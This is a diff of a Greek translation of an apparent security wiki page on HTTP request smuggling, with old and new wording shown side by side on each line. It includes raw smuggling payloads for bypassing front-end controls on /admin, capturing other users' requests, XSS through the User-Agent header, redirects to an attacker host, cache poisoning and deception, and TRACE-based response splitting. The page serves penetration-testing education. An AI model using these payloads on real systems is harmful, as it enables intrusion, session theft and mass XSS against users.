* Στείλτε αιτήματα με μεταβαλλόμενες τιμές `Content-Length` που δεν ευθυγραμμίζονται με το πραγματικό μήκος περιεχομένου και παρατηρήστε πώς ο διακομιστής χειρίζεται τέτοιες ασυμφωνίες. * Στείλτε αιτήματα με μεταβαλλόμενες τιμές `Content-Length` που δεν ευθυγραμμίζονται με το πραγματικό μήκος περιεχομένου και παρατηρήστε πώς ο διακομιστής χειρίζεται τέτοιες ασυμφωνίες.
* **Δοκιμές Διαφορετικών Τιμών Transfer-Encoding:** * **Δοκιμές Διαφορετικών Τιμών Transfer-Encoding:**
* Στείλτε αιτήματα με παραποιημένες ή κακώς διαμορφωμένες κεφαλίδες `Transfer-Encoding` και παρακολουθήστε πώς αντιδρούν διαφορετικά οι διακομιστές front-end και back-end σε τέτοιες παραποιήσεις. * Στείλτε αιτήματα με παραποιημένες ή κακώς διαμορφωμένες κεφαλίδες `Transfer-Encoding` και παρακολουθήστε πώς αντιδρούν διαφορετικά οι διακομιστές front-end και back-end σε τέτοιες παραποιήσεις.
### Δοκιμή Ευπάθειας HTTP Request Smuggling ### Δοκιμή Ευπαθειών HTTP Request Smuggling
Αφού επιβεβαιωθεί η αποτελεσματικότητα των τεχνικών χρονομέτρησης, είναι κρίσιμο να επαληθευτεί αν τα αιτήματα του πελάτη μπορούν να παραποιηθούν. Μια απλή μέθοδος είναι να προσπαθήσετε να δηλητηριάσετε τα αιτήματά σας, για παράδειγμα, κάνοντάς το αίτημα προς το `/` να αποδώσει μια απάντηση 404. Τα παραδείγματα `CL.TE` και `TE.CL` που συζητήθηκαν προηγουμένως στο [Basic Examples](./#basic-examples) δείχνουν πώς να δηλητηριάσετε το αίτημα ενός πελάτη για να προκαλέσετε μια απάντηση 404, παρά το γεγονός ότι ο πελάτης στοχεύει να αποκτήσει πρόσβαση σε διαφορετικό πόρο. Αφού επιβεβαιωθεί η αποτελεσματικότητα των τεχνικών χρονομέτρησης, είναι κρίσιμο να επαληθευτεί αν τα αιτήματα του πελάτη μπορούν να παραποιηθούν. Μια απλή μέθοδος είναι να προσπαθήσετε να δηλητηριάσετε τα αιτήματά σας, για παράδειγμα, κάνοντάς το αίτημα προς το `/` να αποδώσει μια απάντηση 404. Τα παραδείγματα `CL.TE` και `TE.CL` που συζητήθηκαν προηγουμένως στο [Basic Examples](./#basic-examples) δείχνουν πώς να δηλητηριάσετε το αίτημα ενός πελάτη για να προκαλέσετε μια απάντηση 404, παρά το γεγονός ότι ο πελάτης στοχεύει να αποκτήσει πρόσβαση σε διαφορετικό πόρο.
@ -282,13 +290,13 @@ X
* **Συνεπής URL και Παράμετροι:** Στοχεύστε να χρησιμοποιήσετε ταυτόσημα URLs και ονόματα παραμέτρων και για τα δύο αιτήματα. Οι σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους διακομιστές back-end με βάση το URL και τις παραμέτρους. Η αντιστοίχιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο διακομιστή, προϋπόθεση για μια επιτυχημένη επίθεση. * **Συνεπής URL και Παράμετροι:** Στοχεύστε να χρησιμοποιήσετε ταυτόσημα URLs και ονόματα παραμέτρων και για τα δύο αιτήματα. Οι σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους διακομιστές back-end με βάση το URL και τις παραμέτρους. Η αντιστοίχιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο διακομιστή, προϋπόθεση για μια επιτυχημένη επίθεση.
* **Χρονομέτρηση και Συνθήκες Αγώνα:** Το "κανονικό" αίτημα, που προορίζεται να ανιχνεύσει την παρέμβαση από το "επίθεση" αίτημα, ανταγωνίζεται άλλα ταυτόχρονα αιτήματα εφαρμογής. Επομένως, στείλτε το "κανονικό" αίτημα αμέσως μετά το "επίθεση" αίτημα. Οι πολυάσχολες εφαρμογές μπορεί να απαιτούν πολλές δοκιμές για την επιβεβαίωση της ευπάθειας. * **Χρονομέτρηση και Συνθήκες Αγώνα:** Το "κανονικό" αίτημα, που προορίζεται να ανιχνεύσει την παρέμβαση από το "επίθεση" αίτημα, ανταγωνίζεται άλλα ταυτόχρονα αιτήματα εφαρμογής. Επομένως, στείλτε το "κανονικό" αίτημα αμέσως μετά το "επίθεση" αίτημα. Οι πολυάσχολες εφαρμογές μπορεί να απαιτούν πολλές δοκιμές για την επιβεβαίωση της ευπάθειας.
* **Προκλήσεις Φορτωτικής Ισορροπίας:** Οι διακομιστές front-end που λειτουργούν ως ισοσταθμιστές φορτίου μπορεί να διανέμουν αιτήματα σε διάφορα συστήματα back-end. Εάν τα "επίθεση" και "κανονικά" αιτήματα καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα επιτύχει. Αυτό το στοιχείο ισοσταθμιστή φορτίου μπορεί να απαιτήσει πολλές προσπάθειες για την επιβεβαίωση μιας ευπάθειας. * **Προκλήσεις Φορτωτικής Ισορροπίας:** Οι διακομιστές front-end που λειτουργούν ως ισοσταθμιστές φορτίου μπορεί να διανέμουν αιτήματα σε διάφορα συστήματα back-end. Εάν τα "επίθεση" και "κανονικά" αιτήματα καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα επιτύχει. Αυτό το στοιχείο ισοσταθμιστή φορτίου μπορεί να απαιτήσει πολλές προσπάθειες για την επιβεβαίωση μιας ευπάθειας.
* **Ακούσια Επίδραση στους Χρήστες:** Εάν η επίθεσή σας επηρεάσει ακούσια το αίτημα άλλου χρήστη (όχι το "κανονικό" αίτημα που στείλατε για ανίχνευση), αυτό υποδεικνύει ότι η επίθεσή σας επηρέασε έναν άλλο χρήστη της εφαρμογής. Η συνεχής δοκιμή θα μπορούσε να διαταράξει άλλους χρήστες, απαιτώντας προσεκτική προσέγγιση. * **Ακούσια Επίδραση στους Χρήστες:** Εάν η επίθεσή σας επηρεάσει κατά λάθος το αίτημα άλλου χρήστη (όχι το "κανονικό" αίτημα που στείλατε για ανίχνευση), αυτό υποδεικνύει ότι η επίθεσή σας επηρέασε έναν άλλο χρήστη της εφαρμογής. Η συνεχής δοκιμή θα μπορούσε να διαταράξει άλλους χρήστες, απαιτώντας προσεκτική προσέγγιση.
## Κατάχρηση HTTP Request Smuggling ## Κατάχρηση HTTP Request Smuggling
### Παράκαμψη Ασφαλείας Front-End μέσω HTTP Request Smuggling ### Παράκαμψη Ασφαλείας Front-End μέσω HTTP Request Smuggling
Μερικές φορές, οι διακομιστές front-end επιβάλλουν μέτρα ασφαλείας, εξετάζοντας τα εισερχόμενα αιτήματα. Ωστόσο, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενα το HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε περιορισμένα endpoints. Για παράδειγμα, η πρόσβαση στο `/admin` μπορεί να απαγορεύεται εξωτερικά, με τον διακομιστή front-end να μπλοκάρει ενεργά τέτοιες προσπάθειες. Ωστόσο, αυτός ο διακομιστής μπορεί να παραλείψει να εξετάσει τα ενσωματωμένα αιτήματα μέσα σε ένα λαθραίο HTTP αίτημα, αφήνοντας ένα παραθυράκι για την παράκαμψη αυτών των περιορισμών. Μερικές φορές, οι διακομιστές front-end επιβάλλουν μέτρα ασφαλείας, εξετάζοντας τα εισερχόμενα αιτήματα. Ωστόσο, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενα το HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε περιορισμένα endpoints. Για παράδειγμα, η πρόσβαση στο `/admin` μπορεί να απαγορεύεται εξωτερικά, με τον διακομιστή front-end να μπλοκάρει ενεργά τέτοιες προσπάθειες. Παρ' όλα αυτά, αυτός ο διακομιστής μπορεί να παραλείψει να εξετάσει τα ενσωματωμένα αιτήματα μέσα σε ένα smuggled HTTP αίτημα, αφήνοντας ένα παραθυράκι για την παράκαμψη αυτών των περιορισμών.
Σκεφτείτε τα παρακάτω παραδείγματα που απεικονίζουν πώς το HTTP Request Smuggling μπορεί να χρησιμοποιηθεί για να παρακάμψει τους ελέγχους ασφαλείας front-end, στοχεύοντας συγκεκριμένα τη διαδρομή `/admin`, η οποία συνήθως φυλάσσεται από τον διακομιστή front-end: Σκεφτείτε τα παρακάτω παραδείγματα που απεικονίζουν πώς το HTTP Request Smuggling μπορεί να χρησιμοποιηθεί για να παρακάμψει τους ελέγχους ασφαλείας front-end, στοχεύοντας συγκεκριμένα τη διαδρομή `/admin`, η οποία συνήθως φυλάσσεται από τον διακομιστή front-end:
@ -329,7 +337,7 @@ a=x
``` ```
Αντίθετα, στην επίθεση TE.CL, το αρχικό `POST` αίτημα χρησιμοποιεί `Transfer-Encoding: chunked`, και το επόμενο ενσωματωμένο αίτημα επεξεργάζεται με βάση την κεφαλίδα `Content-Length`. Παρόμοια με την επίθεση CL.TE, ο πρόξενος της εμπρός πλευράς παραβλέπει το λαθραίο αίτημα `GET /admin`, παραχωρώντας ακούσια πρόσβαση στη περιορισμένη διαδρομή `/admin`. Αντίθετα, στην επίθεση TE.CL, το αρχικό `POST` αίτημα χρησιμοποιεί `Transfer-Encoding: chunked`, και το επόμενο ενσωματωμένο αίτημα επεξεργάζεται με βάση την κεφαλίδα `Content-Length`. Παρόμοια με την επίθεση CL.TE, ο πρόξενος της εμπρός πλευράς παραβλέπει το λαθραίο αίτημα `GET /admin`, παραχωρώντας ακούσια πρόσβαση στη περιορισμένη διαδρομή `/admin`.
### Αποκάλυψη αναδιατύπωσης αιτημάτων εμπρός πλευράς <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a> ### Αποκάλυψη αναδιατύπωσης αιτημάτων της εμπρός πλευράς <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Οι εφαρμογές συχνά χρησιμοποιούν έναν **διακομιστή εμπρός πλευράς** για να τροποποιούν τα εισερχόμενα αιτήματα πριν τα περάσουν στον διακομιστή πίσω πλευράς. Μια τυπική τροποποίηση περιλαμβάνει την προσθήκη κεφαλίδων, όπως `X-Forwarded-For: <IP του πελάτη>`, για να μεταφέρει τη διεύθυνση IP του πελάτη στον διακομιστή πίσω πλευράς. Η κατανόηση αυτών των τροποποιήσεων μπορεί να είναι κρίσιμη, καθώς μπορεί να αποκαλύψει τρόπους για **να παρακαμφθούν οι προστασίες** ή **να αποκαλυφθούν κρυφές πληροφορίες ή σημεία πρόσβασης**. Οι εφαρμογές συχνά χρησιμοποιούν έναν **διακομιστή εμπρός πλευράς** για να τροποποιούν τα εισερχόμενα αιτήματα πριν τα περάσουν στον διακομιστή πίσω πλευράς. Μια τυπική τροποποίηση περιλαμβάνει την προσθήκη κεφαλίδων, όπως `X-Forwarded-For: <IP του πελάτη>`, για να μεταφέρει τη διεύθυνση IP του πελάτη στον διακομιστή πίσω πλευράς. Η κατανόηση αυτών των τροποποιήσεων μπορεί να είναι κρίσιμη, καθώς μπορεί να αποκαλύψει τρόπους για **να παρακαμφθούν οι προστασίες** ή **να αποκαλυφθούν κρυφές πληροφορίες ή σημεία πρόσβασης**.
@ -350,13 +358,13 @@ Content-Length: 100
search= search=
``` ```
Σε αυτή τη δομή, τα επόμενα στοιχεία αιτήματος προστίθενται μετά το `search=`, το οποίο είναι η παράμετρος που αντανακλάται στην απάντηση. Αυτή η αντανάκλαση θα αποκαλύψει τις κεφαλίδες του επόμενου αιτήματος. Σε αυτή τη δομή, τα επόμενα στοιχεία του αιτήματος προστίθενται μετά το `search=`, το οποίο είναι η παράμετρος που αντανακλάται στην απάντηση. Αυτή η αντανάκλαση θα εκθέσει τις κεφαλίδες του επόμενου αιτήματος.
Είναι σημαντικό να ευθυγραμμιστεί η κεφαλίδα `Content-Length` του εσωτερικού αιτήματος με το πραγματικό μήκος περιεχομένου. Είναι σκόπιμο να ξεκινήσετε με μια μικρή τιμή και να αυξάνετε σταδιακά, καθώς μια πολύ χαμηλή τιμή θα κόψει τα αντανακλώμενα δεδομένα, ενώ μια πολύ υψηλή τιμή μπορεί να προκαλέσει σφάλμα στο αίτημα. Είναι σημαντικό να ευθυγραμμιστεί η κεφαλίδα `Content-Length` του εσωτερικού αιτήματος με το πραγματικό μήκος περιεχομένου. Είναι σκόπιμο να ξεκινήσετε με μια μικρή τιμή και να αυξάνετε σταδιακά, καθώς μια πολύ χαμηλή τιμή θα κόψει τα αντανακλώμενα δεδομένα, ενώ μια πολύ υψηλή τιμή μπορεί να προκαλέσει σφάλμα στο αίτημα.
Αυτή η τεχνική είναι επίσης εφαρμόσιμη στο πλαίσιο μιας ευπάθειας TE.CL, αλλά το αίτημα θα πρέπει να τερματίζεται με `search=\r\n0`. Ανεξάρτητα από τους χαρακτήρες νέας γραμμής, οι τιμές θα προστεθούν στην παράμετρο αναζήτησης. Αυτή η τεχνική είναι επίσης εφαρμόσιμη στο πλαίσιο μιας ευπάθειας TE.CL, αλλά το αίτημα θα πρέπει να τερματίζεται με `search=\r\n0`. Ανεξάρτητα από τους χαρακτήρες νέας γραμμής, οι τιμές θα προστεθούν στην παράμετρο αναζήτησης.
Αυτή η μέθοδος εξυπηρετεί κυρίως την κατανόηση των τροποποιήσεων αιτήματος που γίνονται από τον μεσολαβητή front-end, εκτελώντας ουσιαστικά μια αυτοκατευθυνόμενη έρευνα. Αυτή η μέθοδος εξυπηρετεί κυρίως την κατανόηση των τροποποιήσεων του αιτήματος που γίνονται από τον μεσολαβητή front-end, εκτελώντας ουσιαστικά μια αυτοκατευθυνόμενη έρευνα.
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a> ### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
@ -392,7 +400,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
Το HTTP Request Smuggling μπορεί να αξιοποιηθεί για να εκμεταλλευτεί ευάλωτες ιστοσελίδες σε **Reflected XSS**, προσφέροντας σημαντικά πλεονεκτήματα: Το HTTP Request Smuggling μπορεί να αξιοποιηθεί για να εκμεταλλευτεί ευάλωτες ιστοσελίδες σε **Reflected XSS**, προσφέροντας σημαντικά πλεονεκτήματα:
* Η αλληλεπίδραση με τους στόχους χρήστες **δεν απαιτείται**. * Η αλληλεπίδραση με τους στόχους χρήστες είναι **μη απαραίτητη**.
* Επιτρέπει την εκμετάλλευση του XSS σε μέρη του αιτήματος που είναι **κανονικά μη προσβάσιμα**, όπως οι κεφαλίδες αιτήματος HTTP. * Επιτρέπει την εκμετάλλευση του XSS σε μέρη του αιτήματος που είναι **κανονικά μη προσβάσιμα**, όπως οι κεφαλίδες αιτήματος HTTP.
Σε σενάρια όπου μια ιστοσελίδα είναι ευάλωτη σε Reflected XSS μέσω της κεφαλίδας User-Agent, το παρακάτω payload δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια: Σε σενάρια όπου μια ιστοσελίδα είναι ευάλωτη σε Reflected XSS μέσω της κεφαλίδας User-Agent, το παρακάτω payload δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια:
@ -436,7 +444,7 @@ A=
### Εκμετάλλευση Εντός Σελίδας Ανακατευθύνσεων με HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a> ### Εκμετάλλευση Εντός Σελίδας Ανακατευθύνσεων με HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Οι εφαρμογές συχνά ανακατευθύνουν από μια διεύθυνση URL σε άλλη χρησιμοποιώντας το όνομα κεντρικού υπολογιστή από το `Host` header στην ανακατευθυνόμενη URL. Αυτό είναι κοινό με διακομιστές ιστού όπως ο Apache και ο IIS. Για παράδειγμα, η αίτηση ενός φακέλου χωρίς τελικό slash έχει ως αποτέλεσμα μια ανακατεύθυνση για να συμπεριληφθεί το slash: Οι εφαρμογές συχνά ανακατευθύνουν από μια διεύθυνση URL σε άλλη χρησιμοποιώντας το όνομα κεντρικού υπολογιστή από το `Host` header στην ανακατευθυνόμενη διεύθυνση URL. Αυτό είναι κοινό με διακομιστές ιστού όπως ο Apache και ο IIS. Για παράδειγμα, η αίτηση ενός φακέλου χωρίς τελικό slash έχει ως αποτέλεσμα μια ανακατεύθυνση για να συμπεριληφθεί το slash:
``` ```
GET /home HTTP/1.1 GET /home HTTP/1.1
Host: normal-website.com Host: normal-website.com
@ -460,7 +468,7 @@ GET /home HTTP/1.1
Host: attacker-website.com Host: attacker-website.com
Foo: X Foo: X
``` ```
Αυτό το λαθραίο αίτημα θα μπορούσε να προκαλέσει την επόμενη επεξεργασμένη αίτηση χρήστη να ανακατευθυνθεί σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο: Αυτό το λαθραίο αίτημα θα μπορούσε να προκαλέσει την ανακατεύθυνση του επόμενου επεξεργασμένου αιτήματος χρήστη σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο:
``` ```
GET /home HTTP/1.1 GET /home HTTP/1.1
Host: attacker-website.com Host: attacker-website.com
@ -472,17 +480,17 @@ Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/ Location: https://attacker-website.com/home/
``` ```
In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response. Σε αυτό το σενάριο, το αίτημα ενός χρήστη για ένα αρχείο JavaScript παραβιάζεται. Ο επιτιθέμενος μπορεί δυνητικά να συμβιβάσει τον χρήστη παρέχοντας κακόβουλο JavaScript ως απάντηση.
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> ### Εκμετάλλευση της δηλητηρίασης της μνήμης cache μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Η δηλητηρίαση της μνήμης cache του ιστού μπορεί να εκτελεστεί εάν οποιοδήποτε στοιχείο της **υποδομής front-end αποθηκεύει περιεχόμενο**, συνήθως για να βελτιώσει την απόδοση. Με την παραποίηση της απάντησης του διακομιστή, είναι δυνατό να **δηλητηριαστεί η cache**. Η δηλητηρίαση της μνήμης cache μπορεί να εκτελεστεί εάν οποιοδήποτε στοιχείο της **υποδομής front-end αποθηκεύει περιεχόμενο**, συνήθως για να βελτιώσει την απόδοση. Με την παραποίηση της απάντησης του διακομιστή, είναι δυνατόν να **δηλητηριαστεί η μνήμη cache**.
Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του διακομιστή θα μπορούσαν να τροποποιηθούν για να επιστρέψουν ένα σφάλμα 404 (ανατρέξτε σε [Basic Examples](./#basic-examples)). Ομοίως, είναι εφικτό να ξεγελάσουμε τον διακομιστή ώστε να παραδώσει περιεχόμενο `/index.html` ως απάντηση σε ένα αίτημα για `/static/include.js`. Ως αποτέλεσμα, το περιεχόμενο `/static/include.js` αντικαθίσταται στην cache με αυτό του `/index.html`, καθιστώντας το `/static/include.js` μη προσβάσιμο στους χρήστες, γεγονός που μπορεί να οδηγήσει σε άρνηση υπηρεσίας (DoS). Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του διακομιστή θα μπορούσαν να τροποποιηθούν ώστε να επιστρέφουν ένα σφάλμα 404 (ανατρέξτε σε [Βασικά Παραδείγματα](./#basic-examples)). Ομοίως, είναι εφικτό να ξεγελάσουμε τον διακομιστή ώστε να παραδώσει περιεχόμενο `/index.html` ως απάντηση σε ένα αίτημα για `/static/include.js`. Ως αποτέλεσμα, το περιεχόμενο `/static/include.js` αντικαθίσταται στη μνήμη cache με αυτό του `/index.html`, καθιστώντας το `/static/include.js` μη προσβάσιμο στους χρήστες, δυνητικά οδηγώντας σε άρνηση υπηρεσίας (DoS).
Αυτή η τεχνική γίνεται ιδιαίτερα ισχυρή εάν ανακαλυφθεί μια **ευπάθεια Open Redirect** ή εάν υπάρχει **ανακατεύθυνση στον ιστό σε μια ανοιχτή ανακατεύθυνση**. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν για να αντικαταστήσουν το αποθηκευμένο περιεχόμενο του `/static/include.js` με ένα σενάριο υπό τον έλεγχο του επιτιθέμενου, επιτρέποντας ουσιαστικά μια εκτενή επίθεση Cross-Site Scripting (XSS) σε όλους τους πελάτες που ζητούν το ενημερωμένο `/static/include.js`. Αυτή η τεχνική γίνεται ιδιαίτερα ισχυρή εάν ανακαλυφθεί μια **ευπάθεια Open Redirect** ή εάν υπάρχει **ανακατεύθυνση στον ιστό προς μια ανοιχτή ανακατεύθυνση**. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν για να αντικαταστήσουν το αποθηκευμένο περιεχόμενο του `/static/include.js` με ένα σενάριο υπό τον έλεγχο του επιτιθέμενου, επιτρέποντας ουσιαστικά μια εκτενή επίθεση Cross-Site Scripting (XSS) σε όλους τους πελάτες που ζητούν το ενημερωμένο `/static/include.js`.
Παρακάτω είναι μια απεικόνιση της εκμετάλλευσης **δηλητηρίασης cache σε συνδυασμό με ανακατεύθυνση στον ιστό σε ανοιχτή ανακατεύθυνση**. Ο στόχος είναι να τροποποιηθεί το περιεχόμενο της cache του `/static/include.js` για να εξυπηρετήσει κώδικα JavaScript που ελέγχεται από τον επιτιθέμενο: Παρακάτω είναι μια απεικόνιση της εκμετάλλευσης της **δηλητηρίασης cache σε συνδυασμό με μια ανακατεύθυνση στον ιστό προς ανοιχτή ανακατεύθυνση**. Ο στόχος είναι να τροποποιηθεί το περιεχόμενο της μνήμης cache του `/static/include.js` ώστε να εξυπηρετεί κώδικα JavaScript που ελέγχεται από τον επιτιθέμενο:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable.net Host: vulnerable.net
@ -500,11 +508,11 @@ Content-Length: 10
x=1 x=1
``` ```
Σημειώστε το ενσωματωμένο αίτημα που στοχεύει το `/post/next?postId=3`. Αυτό το αίτημα θα ανακατευθυνθεί στο `/post?postId=4`, χρησιμοποιώντας την **τιμή κεφαλίδας Host** για να προσδιορίσει το domain. Με την τροποποίηση της **κεφαλίδας Host**, ο επιτιθέμενος μπορεί να ανακατευθύνει το αίτημα στο domain του (**on-site redirect to open redirect**). Σημειώστε το ενσωματωμένο αίτημα που στοχεύει το `/post/next?postId=3`. Αυτό το αίτημα θα ανακατευθυνθεί στο `/post?postId=4`, χρησιμοποιώντας την **τιμή κεφαλίδας Host** για να προσδιορίσει το domain. Αλλάζοντας την **κεφαλίδα Host**, ο επιτιθέμενος μπορεί να ανακατευθύνει το αίτημα στο δικό του domain (**on-site redirect to open redirect**).
Μετά από επιτυχή **socket poisoning**, θα πρέπει να ξεκινήσει ένα **GET request** για το `/static/include.js`. Αυτό το αίτημα θα μολυνθεί από το προηγούμενο αίτημα **on-site redirect to open redirect** και θα ανακτήσει το περιεχόμενο του script που ελέγχεται από τον επιτιθέμενο. Μετά από επιτυχές **socket poisoning**, θα πρέπει να ξεκινήσει ένα **GET request** για το `/static/include.js`. Αυτό το αίτημα θα μολυνθεί από το προηγούμενο αίτημα **on-site redirect to open redirect** και θα ανακτήσει το περιεχόμενο του script που ελέγχεται από τον επιτιθέμενο.
Στη συνέχεια, οποιοδήποτε αίτημα για το `/static/include.js` θα εξυπηρετήσει το αποθηκευμένο περιεχόμενο του script του επιτιθέμενου, εκκινώντας αποτελεσματικά μια ευρεία επίθεση XSS. Στη συνέχεια, οποιοδήποτε αίτημα για το `/static/include.js` θα εξυπηρετεί το αποθηκευμένο περιεχόμενο του script του επιτιθέμενου, εκκινώντας αποτελεσματικά μια ευρεία επίθεση XSS.
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a> ### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
@ -513,7 +521,7 @@ x=1
> * Στο **web cache poisoning**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στην cache, και αυτό το περιεχόμενο εξυπηρετείται από την cache σε άλλους χρήστες της εφαρμογής. > * Στο **web cache poisoning**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στην cache, και αυτό το περιεχόμενο εξυπηρετείται από την cache σε άλλους χρήστες της εφαρμογής.
> * Στο **web cache deception**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στην cache, και ο επιτιθέμενος στη συνέχεια ανακτά αυτό το περιεχόμενο από την cache. > * Στο **web cache deception**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στην cache, και ο επιτιθέμενος στη συνέχεια ανακτά αυτό το περιεχόμενο από την cache.
Ο επιτιθέμενος κατασκευάζει ένα μυστικό αίτημα που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένο για τον χρήστη. Σκεφτείτε το παρακάτω παράδειγμα: Ο επιτιθέμενος δημιουργεί ένα μολυσμένο αίτημα που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένο για τον χρήστη. Σκεφτείτε το παρακάτω παράδειγμα:
```markdown ```markdown
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable-website.com`\ `Host: vulnerable-website.com`\
@ -528,7 +536,7 @@ x=1
### Κατάχρηση του TRACE μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> ### Κατάχρηση του TRACE μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**Σε αυτή την ανάρτηση**](https://portswigger.net/research/trace-desync-attack) προτείνεται ότι αν ο διακομιστής έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι δυνατό να την καταχραστεί με ένα HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα ανακλά οποιαδήποτε κεφαλίδα σταλεί στον διακομιστή ως μέρος του σώματος της απάντησης. Για παράδειγμα: [**Σε αυτή την ανάρτηση**](https://portswigger.net/research/trace-desync-attack) προτείνεται ότι αν ο διακομιστής έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι δυνατό να καταχραστεί με ένα HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα ανακλά οποιαδήποτε κεφαλίδα σταλεί στον διακομιστή ως μέρος του σώματος της απάντησης. Για παράδειγμα:
``` ```
TRACE / HTTP/1.1 TRACE / HTTP/1.1
Host: example.com Host: example.com
@ -574,7 +582,7 @@ Content-Length: 44\r\n
\r\n \r\n
<script>alert("response splitting")</script> <script>alert("response splitting")</script>
``` ```
Θα δημιουργήσει αυτές τις απαντήσεις (σημειώστε πώς η απάντηση HEAD έχει ένα Content-Length που καθιστά την απάντηση TRACE μέρος του σώματος της HEAD και μόλις τελειώσει το Content-Length της HEAD, μια έγκυρη HTTP απάντηση διαρρέει): Θα δημιουργήσει αυτές τις απαντήσεις (σημειώστε πώς η απάντηση HEAD έχει ένα Content-Length που καθιστά την απάντηση TRACE μέρος του σώματος HEAD και μόλις τελειώσει το Content-Length HEAD, μια έγκυρη HTTP απάντηση διαρρέει):
``` ```
HTTP/1.1 200 OK HTTP/1.1 200 OK
Content-Type: text/html Content-Type: text/html
@ -711,7 +719,7 @@ table.add(req)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py) * [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) * [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz) * [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Αυτό το εργαλείο είναι ένας HTTP Fuzzer βασισμένος στη γραμματική, χρήσιμο για την ανεύρεση παράξενων αποκλίσεων στο request smuggling. * [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Αυτό το εργαλείο είναι ένας HTTP Fuzzer βασισμένος σε γραμματική, χρήσιμο για να βρείτε παράξενες διαφορές στο request smuggling.
## Αναφορές ## Αναφορές
@ -725,6 +733,14 @@ table.add(req)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack) * [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
